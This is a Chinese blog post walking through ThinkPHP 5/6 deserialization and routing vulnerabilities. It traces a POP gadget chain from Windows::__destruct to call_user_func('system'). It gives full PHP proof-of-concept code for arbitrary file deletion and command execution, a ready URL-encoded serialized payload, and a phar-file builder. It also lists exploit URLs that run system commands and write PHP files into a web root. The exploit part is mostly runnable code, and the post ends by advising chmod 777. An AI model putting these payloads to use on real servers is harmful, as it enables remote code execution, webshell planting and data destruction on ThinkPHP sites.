ThinkPHP反序列化漏洞

一、任意文件删除

搜索__destruct魔术方法,找到四个,能利用的只有Windows.php中的魔术方法

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

 追踪removeFiles()

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

发现是一个删除文件的方法,并且参数可控,存在删除任意文件漏洞

POC:

<?php

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes{
    private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];
}

$file = new Windows();
echo urlencode(serialize($file));

二、反序列化漏洞

1、搜索关键函数destruct与wakeup两个反序列化一定会触发的魔术方法,wakeup需要进行反序列化时调用,所以先不考虑,搜索destruct,一共四个结果,而能利用的只有Windows.php

 继续追踪close(),发现没有利用点,返回来追踪removeFiles(),发现是删除文件的函数,但是file_exists接受的参数是一个字符串,所以查找__toString魔术方法,看看能不能触发,发现一共四处定义了该魔术方法

Paginator.php:

Collection.php:

input.php:

Conversion.php:

但可控点只有三处,排除input.php,剩下的三个继续追踪,Paginator.php追踪后没有发现可利用点,排除,继续追踪Collection.php发现也没有可利用点(至于为什么没有可利用点慢慢探究,锻炼自己的基本功,这里不做详细介绍)所以只剩Conversion.php

toJson->toArray,前面的没有可控点,直接来到下面,代码如下:

if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();

append为可控点,往下探查是否有利用点,追踪getRelation只是简单返回值,往下走,追踪getAttr,追踪getData,两条路有可控点:

public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {     # 可控点一
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {	# 可控点二
            return $this->relation[$name];
        } else {
            throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
        }
    }

经过分析,发现如果走下面可控点二的话,$this-relation就存在值,如果$relation不为空带入到toArray里面,if (!$relation)进行判断,则会跳过此处,存在逻辑矛盾,所以只剩第一个可控点,继续返回到toArray

$relation->visible($name);

追踪visible发现没有利用点,到这里路段了,回到toArray,是否能通过触发call来继续,所以继续搜索call,搜索出很多结果,但是都是写死了的,没有可控点,只有一处存在可利用的点

public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        } else {
            throw new Exception('method not exists:' . static::class . '->' . $method);
        }
    }

hook[$method]与$args都是可利用点,有希望,试图将hook[$method]给定system,$args给定ifconfig,不出意外出意外了,array_unshift函数将$this强行插入到ifconfig前面变成[$this, 'ifconfig'],路走死了?后面的参数不可控,那就在前面做手脚,让前面变成一个数组,call_user_func_array函数调用函数,也可以调用某个类里面的方法,所以我们继续搜索call_user_func_array或call_user_func,发现filterValue方法中

foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

$filter, $value两个参数可控,先追踪$filter,来自于filterValue中$filters参数的遍历,所以继续搜索哪里在调用filterValue,总有一个传参的地方,在cookie与input方法中都有可利用点,但是再开始的call_user_func($filter, $value);中,$value来源于filterValue中的&$value,而cookie方法中调用filterValue时,传入的参数为$data,所以最终value的值来源于data,而在cookie方法中data不可控,所以排除了,很多人这里没想明白,我们接下来看input方法中的调用,还是继续探究$filter的值来源

$filter = $this->getFilter($filter, $default);

继续追踪getFilter

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

发现可控点$this->filter,但看注意后面$filter进行了数组转换,因为我们返回到filterValue的参数时必须为一个数组,才能进行遍历,以至于往下走,所以这里我们不要将filter给定一个数组,给定一个字符串类型就行,代码自己帮我们转为数组,$flter搞定了,接来解决$value,value来源于filterValue的第一个参数,老规矩,查找调用filterValue得地方,开始分析过了,value的值来源于input与cookie中的data,而cookie中的data不可控,所以继续分析input,发现data来源于参数data=[],那继续查找调用input的地方,有很多,但是不是每条都用,需分析逻辑上是否存在矛盾,这里就只拿一条举例,感兴趣的可以研究其他为什么走不通,这里拿route中调用input举例,

public function route($name = '', $default = null, $filter = '')
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }

        return $this->input($this->route, $name, $default, $filter);
    }

这是input中的第一个判断条件,如果name为false,则直接结束,所以不能为false,而route中的name=' ',那就继续追踪调用route的地方,发现直接传入的参数为false,其他很多结果也是类似的,参数不可控导致我们不能够走input,直接return了

{
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

只有在param中,可以找到控制name参数值的地方,查找param调用的地方,找到isAjax与isPjax,其实这两处都可以利用,这里就拿isAjax举例:

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
        $result = ('xmlhttprequest' == $value) ? true : false;

        if (true === $ajax) {
            return $result;
        } else {
            // return $this->param($this->config->get('var_ajax')) ? true : $result;
            $result = $this->param($this->config['var_ajax']) ? true : $result;
            // $this->mergeParam = false;
            return $result;
        }
    }

这里的参数可控,$this->config['var_ajax']不能为false,所以我们给config['var_ajax']定义为空字符串,这样即可调用param,也不会直接return,为什么是空字符串,别急,肯定有道理的,下面是input中的一个判断条件,如果name为空行字符串,则条件为false,如果不为空字符串,则直接在后面return了,这也就是为什么要为空字符串,而name来源于$this->config['var_ajax'],所以我们要让$this->config['var_ajax']为空字符串

if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }

到此分析完毕,来梳理一下,查找destruct,追踪到file_exists接收字符串参数,所以继续查找toString,来到Conversion.php中toJson->toArray,发现调用visible,利用call特性,查找call,由于array_unshift($args, $this);导致无法继续,想到控制前面的参数为一个数组,继续查找同类中的其他call_user_func与call_user_func_array,找到filterValue中有利用点,再继续追踪两个参数,input->param,最总追踪到isAjax中调用param

下面是反序列化的POC

namespace think;

class Request {
    protected $param = [];
    protected $hook = [];
    protected $filter;
    protected $config = [];
    function __construct () {
        $this->filter = 'system';
        $this->param = ['ip addr'];
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->config = ['var_ajax'=>''];
    }
}


abstract class Model {
    protected $append = [];
    private $data = [];

    function __construct () {
        $this->append = ['xiatian'=>['xia']];
        $this->data = ['xiatian'=>new Request()];
    }
}


namespace think\model;

use think\Model;

class Pivot extends Model
{}

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{}
class Windows extends Pipes{
    private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];

    function __construct () {
        $this->files = [new Pivot()];
    }
}

$w = new Windows();
echo urlencode(serialize($w));

payload:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A7%3A%22xiatian%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xia%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22xiatian%22%3BO%3A13%3A%22think%5CRequest%22%3A4%3A%7Bs%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22ip+addr%22%3B%7Ds%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D

三、非强制路由漏洞

1、执行任意命令

http://192.168.101.51/tp5/public/index.php?s=index/\think\Request/input&filter=system&data=ifconfig

2、上传任意文件

http://192.168.101.51/tp6/public/index.php?s=index/\think\template\driver\file/write&cacheFile=/opt/lampp/htdocs/security/upload/shell.php&content=<?php phpinfo();?>

 3、接着上面的反序列化漏洞,存在漏洞,但却没有接口,接下来讲解接口,destruct方法在反序列化后自动调用,但代码中并没有反序列化的代码执行,则想到另一种办法,利用phar反序列化,触发phar反序列化的函数file_exists,file_put_contents,file_get_contents等等对文件操作的函数,在文件操作时,操作完后会调用destruct魔法函数,我们上面的起点就是来自于Windows.php中的__destruct,所以行办法触发他,则查找操作文件类的函数,其实有很多地方,我这里使用的时File.php中的check函数,因为这里直接传参执行,没有多余的操作,省事,那我们就需要构造一个phar序列化的POC,上面POC基础上加上这段POC来达到一个完整的调用链,利用内置的phar实例化一个对象,创建一个phar文件,把这个文件作为参数传入check,就触发了反序列化,进而达到漏洞触发

@unlink('test.phar');	// 删除文件
$phar = new Phar("test.phar");
$phar->startBuffering();  // 开始缓存
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$x = new Windows();
$phar->setMetadata($x);   // 会自动执行序列化操作
$phar->addFromString('test.txt', 'test');	// 在phar文件中创建一个文档用来装内容
$phar->stopBuffering();		// 结束缓存

将这段POC与上面的POC结合,这就一条完整的POC

namespace think;

class Request {
    protected $param = [];
    protected $hook = [];
    protected $filter;
    protected $config = [];
    function __construct () {
        $this->filter = 'system';
        $this->param = ['ip addr'];
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->config = ['var_ajax'=>''];
    }
}


abstract class Model {
    protected $append = [];
    private $data = [];

    function __construct () {
        $this->append = ['xiatian'=>['xia']];
        $this->data = ['xiatian'=>new Request()];
    }
}


namespace think\model;

use think\Model;

class Pivot extends Model
{}

namespace think\process\pipes;
use Phar;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = ['/opt/lampp/htdocs/security/upload/test.php'];

    function __construct () {
        $this->files = [new Pivot()];
    }
}


@unlink('test.phar');
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$x = new Windows();
$phar->setMetadata($x);   // 会自动执行序列化操作
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

POC使用:

http://192.168.101.51/tp6/public/index.php?s=index/\think\template\driver\File/check&cacheFile=phar:///opt/lampp/htdocs/security/test.phar/test.txt&cacheTime=1

s:PATHINFO变量名

index模块,文件的路径,然后是方法名,在然后是参数

如果不成功,则是权限不够,导致提前结束代码,无法执行到这一步,直接将该项目,比如我的是tp5,执行下面命令

chmod 777 tp5 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值